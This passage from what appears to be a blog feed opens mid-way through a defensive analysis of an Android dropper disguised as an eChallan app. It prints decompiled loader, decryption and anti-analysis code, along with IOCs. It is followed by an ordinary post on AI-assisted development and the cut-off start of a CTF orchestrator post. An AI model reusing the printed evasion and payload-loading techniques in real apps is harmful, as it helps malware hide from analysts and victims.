        decrypted_data.append(byte ^ xor_key[i % key_length])

    with open(output_file, "wb") as f:
        f.write(decrypted_data)


if __name__ == "__main__":
    decrypt_payload()
    print("Decryption complete. Decrypted payload saved to 'decrypted_payload.bin'.")
</code></pre>
<p>I was very excited to see the result of my work so far, so I ran the <code>file</code> command on the output, to be disappointed at the sight of</p>
<pre><code class="language-shell">litmus in ~/CTFs/MalwareAnalysis λ file decrypted_payload.bin
decrypted_payload.bin: data
</code></pre>
<p>Looks like the malware author had more tricks up their sleeve. Back to analysis</p>
<h4>The awesome crypto</h4>
<p>The malware author has gone great lengths to ensure that the payload in the assets was not tampered with. So much so that they implemented a HMAC-SHA256 keyed signature.</p>
<pre><code class="language-java">// Concatenates the byte array with hardcoded string "dg_hmac_v2" and computes the SHA-256 hash
    private static byte[] computeCustomHMAC(byte[] bArr) throws Exception {
        MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
        messageDigest.update(bArr);
        messageDigest.update("dg_hmac_v2".getBytes("UTF-8"));
        return messageDigest.digest();
    }

    public static boolean validateHMACSignature(byte[] keyMaterial, byte[] targetPayload, byte[] expectedMACTag) {
        try {
            byte[] derievedKey = computeCustomHMAC(keyMaterial);
            String HmacSHA256 = "HmacSHA256";
            Class&lt;?&gt; JavaCryptoMAC = Class.forName("javax.crypto.Mac");
            Object objInvoke = JavaCryptoMAC.getMethod("getInstance", String.class).invoke(null, HmacSHA256);
            JavaCryptoMAC.getMethod("init", Key.class).invoke(objInvoke, Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(derievedKey, HmacSHA256));
            return MessageDigest.isEqual((byte[]) JavaCryptoMAC.getMethod("doFinal").invoke(objInvoke, targetPayload), expectedMACTag);
        } catch (Throwable th) {
            return false;
        }
    }

    public static byte[] doAESCBCDecryption(byte[] bArr, byte[] bArr2, byte[] bArr3) throws Exception {
        Class&lt;?&gt; javaCryptoCipher = Class.forName("javax.crypto.Cipher");
        Object objInvoke = javaCryptoCipher.getMethod("getInstance", String.class).invoke(null, "AES/CBC/PKCS5Padding");
        javaCryptoCipher.getMethod("init", Integer.TYPE, Key.class, AlgorithmParameterSpec.class).invoke(objInvoke, Integer.valueOf(javaCryptoCipher.getField("DECRYPT_MODE").getInt(null)), Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(bArr, "AES"), Class.forName("javax.crypto.spec.IvParameterSpec").getConstructor(byte[].class).newInstance(bArr2));
        return (byte[]) javaCryptoCipher.getMethod("doFinal", byte[].class).invoke(objInvoke, bArr3);
    }

    public static boolean isValidMultiDexContainer(byte[] data) {
        int dexCount;
        int dexSize;
        if (data == null || data.length &lt; 8 || (dexCount = bytesToIntLittleEndian(data, 0)) &lt;= 0 || dexCount &gt; 100) {
            return false;
        }
        int offset = 4;
        for (int dexIndex = 0; dexIndex &lt; dexCount; dexIndex++) {
            int payloadOffset = offset + 4;
            // The following checks if the first byte values are dex\n which is the magic byte sequence for DEX file headers
            if (payloadOffset &gt; data.length || (dexSize = bytesToIntLittleEndian(data, offset)) &lt;= 0 || dexSize &gt; data.length - payloadOffset || data[payloadOffset] != 100 || data[payloadOffset + 1] != 101 || data[payloadOffset + 2] != 120 || data[payloadOffset + 3] != 10) {
                return false;
            }
            offset = dexSize + payloadOffset;
        }
        return true;
    }

    public static byte[] authenticateAndDecryptPayload(byte[] encapsulatedPayload, byte[] hmacSeedKey, byte[] decryptionIV) throws Exception {
        if (encapsulatedPayload.length &lt; 33) {
            throw new RuntimeException("p&lt;33");
        }
        byte[] expectedSignature = Arrays.copyOfRange(encapsulatedPayload, 0, 32);
        byte[] targetPayload = Arrays.copyOfRange(encapsulatedPayload, 32, encapsulatedPayload.length);
        if (!validateHMACSignature(hmacSeedKey, targetPayload, expectedSignature)) {
            throw new RuntimeException(stringDecryptXOR(new byte[]{35, 61}, 75));
        }
        byte[] decryptedPayload = doAESCBCDecryption(hmacSeedKey, decryptionIV, targetPayload);
        if (!isValidMultiDexContainer(decryptedPayload)) {
            throw new RuntimeException(stringDecryptXOR(new byte[]{42, 63}, 73));
        }
        return decryptedPayload;
    }
</code></pre>
<p>Phew, that's a pretty long verification and decryption routine. Let me break it down for easier understanding:</p>
<ul>
<li><p>First, the length of the payload is checked. It is expected to be a minimum of 33 characters, since the first 32 characters are later utilized as the expected HMAC-SHA256 signature, and atleast a single byte of encrypted payload must follow.</p>
</li>
<li><p>The first 32 bytes are copied into a chunk, and the rest of the byte array is the encrypted payload. There are passed to a function along with a hardcoded <code>hmacSeedKey[]</code> to check the integrity of the embedded payload.</p>
</li>
<li><p>Following the integrity check, the function then calls another function which decrypts the encrypted payload using the <code>hmacSeedKey</code>, a hardcoded <code>decryptionIV</code> in AES-CBC mode and stores the decrypted content in another byte array.</p>
</li>
<li><p>Finally, a helper function is used to check the decrypted payload for the presence of multiple DEX containers, which will later be loaded into memory.</p>
</li>
</ul>
<p>It is also interesting to note that the malware author used Reflection for the Crypto APIs usage, since their prescence in a normal app is very likely to raise red flags.</p>
<h4>The Multi-DEX container format</h4>
<p>The decrypted payload, atleast from the code that follows doesn't seem to look like a standard APK or DEX file, instead the author seems to have created a custom container. The container uses Little endian Int32 for the <code>dexCount</code> (max 100), followed by sequential <code>dexSize + dexBlob</code> pairs.</p>
<p>Furthermore, the <code>isValidMultiDexContainer</code> function is validates each of the DEX files agains the <code>dex\n</code> magic bytes (100, 101, 120, 10). This shows the droppers capability to inject multiple DEX files into the hosts memory.</p>
<pre><code class="language-java">public static void loadPayload(Context context, byte[] AESDecryptedPayload) throws Throwable {
        byte[][] payloads = unpackMultiplexedContainer(AESDecryptedPayload);
        ClassLoader classLoader = context.getClassLoader();
        // If greater than Android 8, the payload is executed.
        if (Build.VERSION.SDK_INT &gt;= 26) {
            try {
                if (injectDexPayloads(context, payloads, classLoader)) {
                    return;
                }
            } catch (Throwable th) {
            }
        }

        // Potentially methods for older versions (Android &lt;8). Not analyzed yet. Redacted for brevity
        }
</code></pre>
<p>The <code>loadPayload</code> method uses Classloader manipulation to inject the Dex payloads for Android 8+. There seems to be more code as fallback for older versions, but I haven't analyzed it yet.</p>
<h3>Anti-Analysis: Emulator and Environment detection</h3>
<p>The malware authors <code>F36n670g</code> class is full of methods to detect analysis measures which checks things like if a debugger is connected, if Xposed is installed, if the Frida server port is listening, whether the application is being traced and if any hooking framework is loaded.</p>
<pre><code class="language-java">public static boolean passesAntiAnalysisChecks() {
        try {
            int detectionCount = isDebuggerConnected() ? 1 : 0;
            if (hasXposedInstalled()) {
                detectionCount++;
            }
            if (isFridaPresent()) {
                detectionCount++;
            }
            if (isBeingTraced()) {
                detectionCount++;
            }
            if (hasHookingFrameworkLoaded()) {
                detectionCount++;
            }
            if (detectionCount &lt;= 0) {
                return true;
            }
            killSelf();
            return false;
        } catch (Throwable th) {
            return true;
        }
    }
</code></pre>
<p>Interesting, the <code>passesAntiAnalysisChecks</code> function uses a detection score to determine whether or not to quit execution instead of a direct binary check. The reason behind this remains a mystery.</p>
<p>Furthermore, since analysts may attach debuggers and start monitoring the process after this check is done, the malware author went out of their way and added the following code to the <code>attachBaseContext</code> function</p>
<pre><code class="language-java">// Create a daemon thread which keeps checking for analysis vectors even after
            // DEX files are loaded
            Thread thread = new Thread(new continuosAntiAnalysisChecks());
            thread.setDaemon(true);
            thread.start();
</code></pre>
<pre><code class="language-java">public class continuosAntiAnalysisChecks implements Runnable {
    @Override // java.lang.Runnable
    public void run() {
        int i = 0;
        while (!Thread.currentThread().isInterrupted()) {
            try {
                try {
                    F36n670g.passesAntiAnalysisChecks();
                } catch (Throwable th) {
                }
                try {
                    Thread.sleep(((long) (Math.random() * 4000.0d)) + 3000);
                    i = 0;
                } catch (Throwable th2) {
                    i = 1;
                    if (i &gt; 5) {
                        F36n670g.killSelf();
                    }
                    try {
                        Thread.sleep(5000L);
                    } catch (InterruptedException e) {
                        Thread.currentThread().interrupt();
                        return;
                    }
                }
            } catch (InterruptedException e2) {
                Thread.currentThread().interrupt();
                return;
            }
        }
    }
}
</code></pre>
<p>The daemon thread keeps checking every 3-7 seconds (randomized to avoid timing detection) if the process is being watched. This is why dynamic analysis with Frida is going to be diffucult without patching these checks first.</p>
<hr />
<h2>Putting it all together</h2>
<p>After all the analysis, here is the much more readable, annotated <code>attachBaseContext</code> function</p>
<pre><code class="language-java">@Override // android.content.ContextWrapper
    protected void attachBaseContext(Context context) {
        final Thread.UncaughtExceptionHandler defaultUncaughtExceptionHandler = Thread.getDefaultUncaughtExceptionHandler();
        // Supress crash logging, hides errors from detection systems
        Thread.setDefaultUncaughtExceptionHandler(new Thread.UncaughtExceptionHandler() { // from class: com.wave.Validatorql.1
            @Override // java.lang.Thread.UncaughtExceptionHandler
            public void uncaughtException(Thread thread, Throwable th) {
                if (defaultUncaughtExceptionHandler != null) {
                    defaultUncaughtExceptionHandler.uncaughtException(thread, th);
                }
            }
        });
        super.attachBaseContext(context);
        try {
            // Bypass Android 9+ hidden API restrictions
            Pp5rf.bypassAPIRestrictions();
            // Extract and XOR-decrypt the r_4dfb.bin file from assets.
            byte[] decryptedBINFile = Vmfoa.multiplexedPayloadDecryptor(Vmfoa.extractAssetPayload(context, "r_4dfb.bin"), ObfuscatedByteArrays.getPayloadXORKey(), 0);
            if (decryptedBINFile == null || decryptedBINFile.length == 0) {
                throw new RuntimeException("e");
            }
            byte[] hmacSeedKey = ObfuscatedByteArrays.getHMACSeedKey();
            byte[] decryptionIV = ObfuscatedByteArrays.getDecryptionIV();
            // HMAC-SHA256 integrity check + AES-CBC decrypt the payload
            byte[] AESDecryptedBINFile = Engineja.authenticateAndDecryptPayload(decryptedBINFile, hmacSeedKey, decryptionIV);
            // Zeroize key material from memory
            Engineja.zeroizeArrays(hmacSeedKey, decryptionIV);
            // Load the DEX files into memory
            Iwl89m.loadPayload(context, AESDecryptedBINFile);
            try {
                // No-op
                Iwl89m.kjg046(context);
            } catch (Throwable th) {
            }
            Thread.currentThread().setContextClassLoader(context.getClassLoader());
            try {
                Class.forName("androidx.startup.InitializationProvider", false, context.getClassLoader());
            } catch (Throwable th2) {
            }
            try {
                // Check for debuggers, Frida etc.
                F36n670g.passesAntiAnalysisChecks();
            } catch (Throwable th3) {
            }
            // Create a daemon thread which keeps checking for analysis vectors even after
            // DEX files are loaded
            Thread thread = new Thread(new continuosAntiAnalysisChecks());
            thread.setDaemon(true);
            thread.start();
        } catch (Throwable th4) {
            throw new RuntimeException(th4);
        }
    }
</code></pre>
<p>The DEX files should now be loaded in memory and running, but what do they do? That's what I am going to dig into today, and will report back with a part 2 soon!</p>
<hr />
<h3>IOCs for defenders</h3>
<pre><code class="language-plaintext">APK filename:  ca8818e7_RT0-eChallan.apk
Package name:  com.uptodown.installer
SHA256:        364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2
Asset file:    r_4dfb.bin (encrypted multi-DEX container)
HMAC salt:     dg_hmac_v2
Encryption:    AES/CBC/PKCS5Padding
HMAC seed key bytes: [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]
</code></pre>
]]></content:encoded></item><item><title><![CDATA[How I use AI in my Dev Workflow (without losing control)]]></title><description><![CDATA[While building Poseidon, a custom CTF focused container orchestrator and deploying OrcaCTF on AWS, Sumit asked how I incorporate AI into my development workflow. As I explained my process, I realized I’ve subconsciously developed a systematic framewo...]]></description><link>https://blog.realrudrap.dev/how-i-use-ai-in-my-dev-workflow-without-losing-control</link><guid isPermaLink="true">https://blog.realrudrap.dev/how-i-use-ai-in-my-dev-workflow-without-losing-control</guid><category><![CDATA[AI]]></category><category><![CDATA[software development]]></category><category><![CDATA[System Design]]></category><category><![CDATA[development workflow]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Fri, 28 Nov 2025 05:30:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1764136330152/1755247a-b91e-4ff4-8053-3fcf574f3445.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>While building Poseidon, a custom CTF focused container orchestrator and deploying OrcaCTF on AWS, <a target="_blank" href="https://www.linkedin.com/in/steosumit/">Sumit</a> asked how I incorporate AI into my development workflow. As I explained my process, I realized I’ve subconsciously developed a systematic framework which keeps me in control while making the most of AI’s strengths.</p>
<p>This post isn’t about prompt engineering or which model is the best. It’s about having a methodology to ensure you use AI to accelerate your workflow without making you dependent on it or producing unmaintainable code.</p>
<h2 id="heading-my-4-phase-development-framework">My 4-phase development framework</h2>
<h3 id="heading-phase-1-solo-architecture-thinking-no-ai-yet">Phase 1: Solo Architecture Thinking ( No AI yet )</h3>
<p>Before touching any AI tool, I force a period of clean room thinking.</p>
<ul>
<li><p>Take time and think through the requirements</p>
</li>
<li><p>Research options using primary documentation</p>
</li>
<li><p>Outline a couple of architectural approaches</p>
</li>
<li><p>Document trade-offs for each architecture</p>
</li>
</ul>
<p>Example from Poseidon:</p>
<p>“Do I use AWS Lambda ( serverless, but 15 min execution limit ), Fargate ( managed containers, but complex per-container routing ) or build a custom orchestrator?”</p>
<p><strong>Why this matters:</strong> AI defaults to the "average" solution found in its training data. It lacks the specific context of your constraints (budget, timeline, team expertise). Only you can critically evaluate these trade-offs. Skipping this step leads to generic, sub-optimal architectures.</p>
<h3 id="heading-phase-2-architectural-validation-amp-refinement-enter-ai">Phase 2: Architectural Validation &amp; Refinement ( Enter AI )</h3>
<p>Once I have a satisfying outline, I treat the AI (Claude is my preference here) as a "Red Team" or a Critical Reviewer. The goal isn't "tell me how to build," but "tell me where this breaks."</p>
<p><strong>My validation checklist:</strong></p>
<ul>
<li><p><strong>Edge case detection:</strong> I am choosing X over Y because of Z. What failure modes am I not considering?</p>
</li>
<li><p><strong>Scale Analysis:</strong> Here’s my service mesh design. What breaks first at 10k concurrent users?</p>
</li>
<li><p><strong>Operational blindspots:</strong> I’m planning to use Consul for service discovery. What are the known operational headaches?</p>
<p>  <strong>The Goal:</strong> A theoretically stress-tested tech stack and infrastructure approach I am confident in, validated against patterns I might have missed.</p>
</li>
</ul>
<h3 id="heading-phase-3-top-down-code-skeleton-my-core-method">Phase 3: Top-down code skeleton ( my core method )</h3>
<p>This is where my approach diverges from “just start coding”, or “ask AI to build it”</p>
<p><strong>The Process:</strong></p>
<ol>
<li><p><strong>Define the high-level interface:</strong> Start at the highest level of abstraction using strict typing</p>
<pre><code class="lang-python"> <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">request_instance</span>(<span class="hljs-params">user_id: str, challenge_id: str</span>) -&gt; Instance:</span>
     <span class="hljs-keyword">pass</span>
</code></pre>
</li>
<li><p><strong>Think through what this method needs:</strong></p>
<ul>
<li><p>Check user’s rate limits</p>
</li>
<li><p>Ensure there is no existing container associated with the user</p>
</li>
<li><p>Select the least loaded worker for deploying the container on</p>
</li>
<li><p>Register service to Consul</p>
</li>
<li><p>Save state to redis</p>
</li>
<li><p>Set up routing to specific container</p>
</li>
<li><p>Return a well-defined Instance object</p>
</li>
</ul>
</li>
<li><p><strong>Create “contract” stubs:</strong></p>
<pre><code class="lang-python"> <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">select_best_worker</span>() -&gt; WorkerNode:</span>
     <span class="hljs-keyword">return</span> WorkerNode(node_id = <span class="hljs-string">"stub"</span>, address = <span class="hljs-string">"stub"</span>)

 <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">request_spawn_container_on_worker</span>(<span class="hljs-params">
     worker : WorkerNode,
     challenge_image : str
 </span>) -&gt; Container:</span>
     <span class="hljs-keyword">return</span> Container(id=<span class="hljs-string">"stub"</span>,ip=<span class="hljs-string">"stub"</span>,port=<span class="hljs-number">8080</span>)

 <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">register_service_in_consul</span>(<span class="hljs-params">
     container: Container,
     user_request: RequestChallenge
 </span>) -&gt; bool:</span>
     <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
</code></pre>
</li>
<li><p><strong>Go deeper recursively:</strong> Each stub function gets broken down recursively into its own sub-functions until I hit the system boundaries (external APIs like Docker SDK, Consul client, Redis, etc. )</p>
</li>
<li><p><strong>Return dummy data in the correct shape:</strong> This is critical. Each stub returns properly typed data so the top level functions can “run” ( even if they do nothing real ).</p>
</li>
</ol>
<p><strong>Why this works:</strong></p>
<ul>
<li><p><strong>Control:</strong> I define the flow of execution and data structures.</p>
</li>
<li><p><strong>Isolation:</strong> Each function has a clear, single responsibility before implementation details muddy the waters.</p>
</li>
<li><p><strong>Debuggability:</strong> I can "run" the system with stubs to verify the logic flow before writing a single line of real infrastructure code.</p>
</li>
</ul>
<h3 id="heading-phase-4-bottom-up-implementation-ai-as-pair-programmer">Phase 4: Bottom-up implementation ( AI as pair programmer )</h3>
<p>With the interfaces defined, I switch to implementation. I work from the bottom up; starting with the functions that touch external APIs.</p>
<p>This is where AI shines. Since I have isolated the logic into a single stub, I can ask the AI to "Implement this specific function using the Docker SDK." The context is contained, preventing hallucinations. Although, it is still important to review all logic used in the AI-generated code to prevent any security compromises, and to catch any unknown assumptions the AI might’ve made.</p>
<p><strong>What changes during implementation:</strong></p>
<p>After each sprint ( implementing a single layer ), the dummy return values in the top-level function are replaced with real data. The function signature usually stays the same, but I occasionally realize that I need additional data fields.</p>
<p><strong>Example</strong></p>
<pre><code class="lang-python"><span class="hljs-comment"># Initial Stub</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">provision_instance</span>(<span class="hljs-params">challenge_id: str, user_id: str</span>) -&gt; Instance:</span>
    worker = <span class="hljs-keyword">await</span> select_best_worker()  <span class="hljs-comment"># Dummy at first</span>
    container = <span class="hljs-keyword">await</span> spawn_container(worker, challenge_id)  <span class="hljs-comment"># Dummy</span>
    <span class="hljs-keyword">await</span> register_service(container)  <span class="hljs-comment"># Dummy</span>
    <span class="hljs-keyword">return</span> Instance(id=<span class="hljs-string">"stub"</span>, hostname=<span class="hljs-string">"stub"</span>)  <span class="hljs-comment"># Dummy</span>

<span class="hljs-comment"># After implementing select_best_worker()</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">provision_instance</span>(<span class="hljs-params">challenge_id: str, user_id: str</span>) -&gt; Instance:</span>
    worker = <span class="hljs-keyword">await</span> select_best_worker()  <span class="hljs-comment"># Now returns real WorkerNode</span>
    container = <span class="hljs-keyword">await</span> spawn_container(worker, challenge_id)  <span class="hljs-comment"># Still dummy</span>
    <span class="hljs-keyword">await</span> register_service(container)  <span class="hljs-comment"># Still dummy</span>
    <span class="hljs-keyword">return</span> Instance(id=<span class="hljs-string">"stub"</span>, hostname=<span class="hljs-string">"stub"</span>, worker=worker)  <span class="hljs-comment"># Partially real</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764148872568/c167776f-9030-4c84-85cc-ae3b44a0a246.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-the-challenge-data-shape-consistency">The Challenge: Data Shape Consistency</h2>
<p>A major risk in distributed systems is <strong>Schema Drift</strong>. In Poseidon, a "Worker" appears in multiple forms:</p>
<ol>
<li><p><strong>Redis:</strong> A JSON string.</p>
</li>
<li><p><strong>Internal Logic:</strong> A Python Object.</p>
</li>
<li><p><strong>API Response:</strong> A Pydantic model.</p>
</li>
<li><p><strong>gRPC:</strong> A Protobuf message.</p>
</li>
</ol>
<p>If you’re not careful, you end up with ad-hoc dictionaries <code>{"id": ...}</code> scattered everywhere. Debugging becomes a nightmare of key errors.</p>
<p><strong>My current solution:</strong> Explicit return types annotations everywhere.</p>
<pre><code class="lang-python"><span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">select_best_worker</span>() -&gt; WorkerNode:</span> <span class="hljs-comment"># forces me to return a WorkerNode</span>
    <span class="hljs-comment"># Can't accidentally return a dict or a string</span>
</code></pre>
<p>This doesn’t solve the problem entirely, but it forces me to think about data consistency upfront rather than during debugging.</p>
<p><strong>What I need to add:</strong></p>
<p><strong>Canonical Models &amp; Conversion Boundaries</strong></p>
<ol>
<li><p><strong>Canonical Form:</strong> A strict Pydantic model represents the entity within the application logic.</p>
</li>
<li><p><strong>Boundaries:</strong> Data is immediately converted to the Canonical Form when it enters the system (e.g., from Redis or API) and only converted out at the last moment.</p>
</li>
</ol>
<p>Python</p>
<pre><code class="lang-python"><span class="hljs-comment"># The Canonical Model (The Truth)</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">WorkerNode</span>(<span class="hljs-params">BaseModel</span>):</span>
    node_id: str
    address: IPv4Address
    load: int

<span class="hljs-comment"># Boundary: Redis -&gt; Canonical</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_worker</span>(<span class="hljs-params">id: str</span>) -&gt; WorkerNode:</span>
    data = redis.get(id)
    <span class="hljs-keyword">return</span> WorkerNode(**json.loads(data)) <span class="hljs-comment"># Validation happens here</span>
</code></pre>
<p>This ensures that my AI-assisted implementation code never has to guess the shape of the data. It always receives and returns the Canonical Model.</p>
<h2 id="heading-the-missing-piece-robust-testing">The Missing Piece: Robust Testing</h2>
<p>I’ll be honest: <strong>I don't write enough tests.</strong> Like many solo projects, I rely heavily on manual verification, which works until it doesn't.</p>
<p>However, the "Top-Down" framework actually lays the perfect groundwork for a testing strategy I <em>should</em> be implementing. Because the system is built on isolated stubs and contracts, the path to robustness is clear, even if I haven't walked it yet:</p>
<ul>
<li><p><strong>The Plan for Unit Tests:</strong> Since <code>select_best_worker()</code> is an isolated stub, I can easily write a test that forces it to raise a <code>NoResourcesAvailable</code> error to see if the parent function handles it gracefully.</p>
</li>
<li><p><strong>The Plan for Integration:</strong> I can mock the "System Boundary" functions (Docker/Consul) to test the orchestration logic without spinning up real infrastructure.</p>
</li>
</ul>
<p>Right now, I am testing manually. But because the architecture is decoupled, adding these tests later won't require a rewrite; just discipline.</p>
<h2 id="heading-why-this-framework-works">Why this Framework Works</h2>
<p><strong>Architectural Clarity:</strong> I understand the system because I designed it. Not the AI</p>
<p><strong>AI as accelerator; not crutch :</strong> AI helps fill in the implementation details, not architectural decision</p>
<p><strong>Debuggability:</strong> Top down structures + explicit types make it easier to trace failures</p>
<p><strong>Incremental progress:</strong> Each sprint adds real functionality without breaking the overall structure.</p>
<h2 id="heading-when-this-doesnt-work"><strong>When this <em>doesn’t</em> work</strong></h2>
<p>This framework isn’t universal.</p>
<p>While this framework is excellent for architecting complex distributed systems, infrastructure, or anything with too many moving parts, it’s unnecessary for exploratory work.</p>
<p>When you’re simply trying to see whether an idea is viable, forcing a top-down process is self-inflicted pain. Build the crude prototype first; confirm the thing even deserves oxygen. Likewise, in well-trodden domains, this methodology adds little value. It wastes time that could be spent actually shipping something. You don’t need a grand design philosophy to churn out yet another CRUD app.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td></td><td><strong>Simple Domain</strong></td><td><strong>Complex Domain</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>High Stakes</strong></td><td>May be an overkill ( but safe )</td><td>Use the Framework</td></tr>
<tr>
<td><strong>Low Stakes ( Learning )</strong></td><td>Overkill, Just hack it</td><td>Use Framework (learn deeply)</td></tr>
</tbody>
</table>
</div><p><strong>TLDR:</strong> If the cost of failure is high, plan the interface. If the cost of failure is low, just build it</p>
<h2 id="heading-lessons-i-learnt">Lessons I learnt:</h2>
<ol>
<li><p><strong>Start architectural conversations with AI, not direct implementation:</strong></p>
<ul>
<li><p>“I’m considering X vs Y for Z reason. What am I missing?”</p>
</li>
<li><p>Not: “Write me a container orchestrator”</p>
</li>
</ul>
</li>
<li><p><strong>Spend time designing the system before churning out actual code:</strong></p>
<ul>
<li><p>What are the 3-5 functions I need at the top level of abstraction?</p>
</li>
<li><p>What do they return and expect as parameters?</p>
</li>
<li><p>What do they need from each other?</p>
</li>
</ul>
</li>
<li><p><strong>Use type annotations religiously:</strong></p>
<ul>
<li><p>Forces consistent data shapes</p>
</li>
<li><p>Makes AI suggestions more accurate</p>
</li>
<li><p>Catches potential bugs at design time</p>
</li>
</ul>
</li>
<li><p><strong>Design top-down, implement bottom-up:</strong></p>
<ul>
<li><p>Start designing with your functions acting as providers and work your way down to the functions which consume other APIs</p>
</li>
<li><p>Implement functions talking to external APIs first and work your way up replacing stubs with real functions incrementally.</p>
</li>
</ul>
</li>
<li><p><strong>Review your data models before implementing:</strong></p>
<ul>
<li><p>How many ways are you representing the same entity?</p>
</li>
<li><p>Can you reduce it to one canonical form?</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-conclusion">Conclusion</h2>
<p>AI is an incredible accelerator for building complex systems, but only if you stay in the driver's seat.</p>
<p>My framework keeps architectural decisions and system invariants in my control, while delegating the implementation details to the AI. The result is a system I can operate, debug, and evolve without guessing.</p>
<hr />
<p>Related: Building Poseidon <a target="_blank" href="https://hashnode.com/post/cmh8p84e9001902jr0l2id7iu">Part 1</a> | <a target="_blank" href="https://hashnode.com/post/cmhipb89k000802jl1yz0bhf5">Part 2</a> | <a target="_blank" href="https://hashnode.com/post/cmhspet0h000002ju1bbcckz4">Part 3</a></p>
]]></content:encoded></item><item><title><![CDATA[Building Poseidon #3: Control Plane vs Data Plane]]></title><description><![CDATA[In Part 2, I built the Master-Worker orchestration core: gRPC communication, container spawning and basic routing. It worked locally. Containers spun up, users got unique subdomains and traffic routed correctly.
Then I realized the architecture had a...]]></description><link>https://blog.realrudrap.dev/building-poseidon-3-control-plane-vs-data-plane</link><guid isPermaLink="true">https://blog.realrudrap.dev/building-poseidon-3-control-plane-vs-data-plane</guid><category><![CDATA[distributed system]]></category><category><![CDATA[Docker]]></category><category><![CDATA[Orchestration]]></category><category><![CDATA[CTF]]></category><category><![CDATA[software architecture]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Mon, 10 Nov 2025 05:30:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762669817577/5d1608dc-d043-4f87-9d8f-756f6924beef.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In <a target="_blank" href="https://hashnode.com/post/cmhipb89k000802jl1yz0bhf5">Part 2</a>, I built the Master-Worker orchestration core: gRPC communication, container spawning and basic routing. It worked locally. Containers spun up, users got unique subdomains and traffic routed correctly.</p>
<p>Then I realized the architecture had a fundamental flaw.</p>
<h2 id="heading-the-problem-master-as-a-single-point-of-failure">The Problem: Master as a Single Point of Failure</h2>
<p>My initial design had centralized routing. The Master instance handled both Orchestration ( deciding which worker runs a container ) and routing ( directing traffic to that container ). This created two problems:</p>
<p><strong>Problem 1: Availability</strong> If the Master crashed, users lost access to running containers, even though the containers were still alive on the Worker nodes. The control plane failure restricted access to the data plane.</p>
<p><strong>Problem 2: Scalability</strong> The Master became a routing bottleneck. All traffic flowed through it, limiting horizontal scaling. We could add more workers, but routing capacity stays fixed.</p>
<p>This violates a core principle: <strong>separate the control plane from the data plane</strong></p>
<h2 id="heading-the-solution-service-mesh-with-consul-and-traefik">The Solution: Service Mesh with Consul and Traefik</h2>
<p>After reading Consul’s documentation and reading about service mesh patterns, the solution was clear:</p>
<ul>
<li><p><strong>Master ( Control Plane ):</strong> Orchestrates container lifecycle, maintaining state in Redis, registers services in Consul</p>
</li>
<li><p><strong>Workers ( Data Plane ):</strong> Run containers, run Traefik instances, route traffic based on Consul’s service catalog</p>
</li>
<li><p><strong>Consul:</strong> Single source of truth for service discovery and routing metadata.</p>
</li>
</ul>
<p>The Master never touches production traffic. It just tells Consul, “container X is at IP Y on port Z with hostname H”. Every worker’s Traefik watches Consul and builds routing rules dynamically.</p>
<h2 id="heading-the-new-architecture">The New Architecture</h2>
<pre><code class="lang-plaintext">User Request (a3f4b92c8d.orcactf.app)
    ↓
DNS Resolution (will point to NLB on AWS)
    ↓
Any Worker's Traefik (via load balancer)
    ↓
Consul Lookup: "Which IP:port has this hostname?"
    ↓
Forward to Container (possibly on different worker)
    ↓
Container responds
</code></pre>
<p><strong>Key Insight:</strong> Any Traefik instance can route to any container, even if that container isn’t on the same worker. They all read from the same Consul Catalog.</p>
<p>This means:</p>
<ul>
<li><p>Master crash doesn’t affect routing.</p>
</li>
<li><p>Routing scales horizontally ( N workers = N Traefik instances )</p>
</li>
<li><p>Clear separation: Master orchestrates, Workers route</p>
</li>
<li><p>Adding a Worker adds both compute and network routing capacity</p>
</li>
</ul>
<h2 id="heading-implementation-service-registration-in-consul">Implementation: Service Registration in Consul</h2>
<p>When the Master provisions a container, it now registers the service in Consul instead of updating Traefik configs:</p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CatalogManager</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, consul_host: str, consul_port: int</span>):</span>
        self.client = consul.aio.Consul(host=consul_host, port=consul_port)

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">register_route</span>(<span class="hljs-params">self, route_def: RouteDefinition, worker_node: WorkerNode</span>):</span>
        service_id = <span class="hljs-string">f"instance-<span class="hljs-subst">{route_def.instance_id}</span>"</span>
        protocol = route_def.protocol.value.lower()  <span class="hljs-comment"># 'http' or 'tcp'</span>

        tags = [
